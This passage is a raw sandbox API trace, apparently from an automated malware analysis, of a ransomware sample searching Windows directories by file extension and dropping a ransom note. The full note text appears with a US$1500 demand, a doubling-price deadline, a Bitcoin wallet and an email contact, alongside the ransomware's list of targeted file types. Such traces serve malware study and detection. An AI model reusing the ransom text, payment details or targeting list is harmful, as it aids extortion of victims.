(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.html") returned 0 [0104.438] lstrlenA (lpString="*.html") returned 6 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.htm") returned 0 [0104.438] lstrlenA (lpString="*.htm") returned 5 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.xlsx") returned 0 [0104.438] lstrlenA (lpString="*.xlsx") returned 6 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.xls") returned 0 [0104.438] lstrlenA (lpString="*.xls") returned 5 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mp4") returned 0 [0104.438] lstrlenA (lpString="*.mp4") returned 5 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.ppt") returned 0 [0104.438] lstrlenA (lpString="*.ppt") returned 5 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.pptx") returned 0 [0104.438] lstrlenA (lpString="*.pptx") returned 6 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.doc") returned 0 [0104.438] lstrlenA (lpString="*.doc") returned 5 [0104.438] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.dot") returned 0 [0104.438] lstrlenA (lpString="*.dot") returned 5 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.docx") returned 0 [0104.439] lstrlenA (lpString="*.docx") returned 6 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.7z") returned 0 [0104.439] lstrlenA (lpString="*.7z") returned 4 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.tar") returned 0 [0104.439] lstrlenA (lpString="*.tar") returned 5 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.bz2") returned 0 [0104.439] lstrlenA (lpString="*.bz2") returned 5 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.gz") returned 0 [0104.439] lstrlenA (lpString="*.gz") returned 4 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mkv") returned 0 [0104.439] lstrlenA (lpString="*.mkv") returned 5 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.eml") returned 0 [0104.439] lstrlenA (lpString="*.eml") returned 5 [0104.439] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.msg") returned 0 [0104.440] lstrlenA (lpString="*.msg") returned 5 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.edb") returned 0 [0104.440] lstrlenA (lpString="*.edb") returned 5 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.accdb") returned 0 [0104.440] lstrlenA (lpString="*.accdb") returned 7 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.odb") returned 0 [0104.440] lstrlenA (lpString="*.odb") returned 5 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.java") returned 0 [0104.440] lstrlenA (lpString="*.java") returned 6 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.asm") returned 0 [0104.440] lstrlenA (lpString="*.asm") returned 5 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.pfx") returned 0 [0104.440] lstrlenA (lpString="*.pfx") returned 5 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.pem") returned 0 [0104.440] lstrlenA (lpString="*.pem") returned 5 [0104.440] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.p12") returned 0 [0104.440] lstrlenA (lpString="*.p12") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.gpg") returned 0 [0104.441] lstrlenA (lpString="*.gpg") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.vsd") returned 0 [0104.441] lstrlenA (lpString="*.vsd") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.odg") returned 0 [0104.441] lstrlenA (lpString="*.odg") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.raw") returned 0 [0104.441] lstrlenA (lpString="*.raw") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.nef") returned 0 [0104.441] lstrlenA (lpString="*.nef") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.svg") returned 0 [0104.441] lstrlenA (lpString="*.svg") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.psd") returned 0 [0104.441] lstrlenA (lpString="*.psd") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.vmx") returned 0 [0104.441] lstrlenA (lpString="*.vmx") returned 5 [0104.441] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.vmdk") returned 0 [0104.442] lstrlenA (lpString="*.vmdk") returned 6 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.vdi") returned 0 [0104.442] lstrlenA (lpString="*.vdi") returned 5 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.lay6") returned 0 [0104.442] lstrlenA (lpString="*.lay6") returned 6 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mpeg") returned 0 [0104.442] lstrlenA (lpString="*.mpeg") returned 6 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.djvu") returned 0 [0104.442] lstrlenA (lpString="*.djvu") returned 6 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.tiff") returned 0 [0104.442] lstrlenA (lpString="*.tiff") returned 6 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.backup") returned 0 [0104.442] lstrlenA (lpString="*.backup") returned 8 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.pdf") returned 0 [0104.442] lstrlenA (lpString="*.pdf") returned 5 [0104.442] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.cert") returned 0 [0104.443] lstrlenA (lpString="*.cert") returned 6 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.docm") returned 0 [0104.443] lstrlenA (lpString="*.docm") returned 6 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.xlsm") returned 0 [0104.443] lstrlenA (lpString="*.xlsm") returned 6 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.dwg") returned 0 [0104.443] lstrlenA (lpString="*.dwg") returned 5 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.nd") returned 0 [0104.443] lstrlenA (lpString="*.nd") returned 4 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.tlg") returned 0 [0104.443] lstrlenA (lpString="*.tlg") returned 5 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.lgb") returned 0 [0104.443] lstrlenA (lpString="*.lgb") returned 5 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mov") returned 0 [0104.443] lstrlenA (lpString="*.mov") returned 5 [0104.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.xdw") returned 0 [0104.443] lstrlenA (lpString="*.xdw") returned 5 [0104.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.ods") returned 0 [0104.444] lstrlenA (lpString="*.ods") returned 5 [0104.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.wav") returned 0 [0104.444] lstrlenA (lpString="*.wav") returned 5 [0104.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mp3") returned 0 [0104.444] lstrlenA (lpString="*.mp3") returned 5 [0104.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.aiff") returned 0 [0104.444] lstrlenA (lpString="*.aiff") returned 6 [0104.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.flac") returned 0 [0104.444] lstrlenA (lpString="*.flac") returned 6 [0104.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.m4a") returned 0 [0104.444] lstrlenA (lpString="*.m4a") returned 5 [0104.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.csv") returned 0 [0104.444] lstrlenA (lpString="*.csv") returned 5 [0104.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19de6d49, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19de6d49, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19de6d49, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Royale.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.444] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.445] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19415277, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19415277, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19415277, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="2897c35bf2bc4ef171004bfc2909aaf3", cAlternateFileName="2897C3~1")) returned 1 [0104.445] lstrcmpA (lpString1=".", lpString2="2897c35bf2bc4ef171004bfc2909aaf3") returned -1 [0104.445] lstrcmpA (lpString1="..", lpString2="2897c35bf2bc4ef171004bfc2909aaf3") returned -1 [0104.445] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\*.*") returned="*.*" [0104.445] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\", lpString2="2897c35bf2bc4ef171004bfc2909aaf3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3" [0104.445] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3") returned 100 [0104.445] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19415277, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19415277, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19415277, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.445] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.445] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19415277, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19415277, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19415277, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.445] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.445] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.445] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x193a2e56, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x193a2e56, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x193c8fb6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x37600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Classic.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.446] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.446] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Classic.ni.dll") returned -1 [0104.446] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Classic.ni.dll") returned -1 [0104.446] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Classic.ni.dll") returned -1 [0104.446] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\*.*") returned="*.*" [0104.446] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\" [0104.446] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\") returned="" [0104.446] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\HOW TO DECRYPT FILES.txt" [0104.446] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\how to decrypt files.txt")) returned 0xffffffff [0104.446] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.489] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.489] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.491] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.491] CloseHandle (hObject=0x90) returned 1 [0104.491] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\", lpString2="PresentationFramework.Classic.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll" [0104.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.ems") returned 0 [0104.491] lstrlenA (lpString="*.ems") returned 5 [0104.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.db") returned 0 [0104.491] lstrlenA (lpString="*.db") returned 4 [0104.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.dbf") returned 0 [0104.491] lstrlenA (lpString="*.dbf") returned 5 [0104.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.myox") returned 0 [0104.492] lstrlenA (lpString="*.myox") returned 6 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.myo") returned 0 [0104.492] lstrlenA (lpString="*.myo") returned 5 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbw") returned 0 [0104.492] lstrlenA (lpString="*.qbw") returned 5 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbb") returned 0 [0104.492] lstrlenA (lpString="*.qbb") returned 5 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbm") returned 0 [0104.492] lstrlenA (lpString="*.qbm") returned 5 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbo") returned 0 [0104.492] lstrlenA (lpString="*.qbo") returned 5 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbx") returned 0 [0104.492] lstrlenA (lpString="*.qbx") returned 5 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qba") returned 0 [0104.492] lstrlenA (lpString="*.qba") returned 5 [0104.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qby") returned 0 [0104.492] lstrlenA (lpString="*.qby") returned 5 [0104.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\2897c35bf2bc4ef171004bfc2909aaf3\\PresentationFramework.Classic.ni.dll", pszSpec="*.qbj") returned 0 [0104.493] lstrlenA (lpString="*.qbj") returned 5 [0104.493] PathMatchSpecA 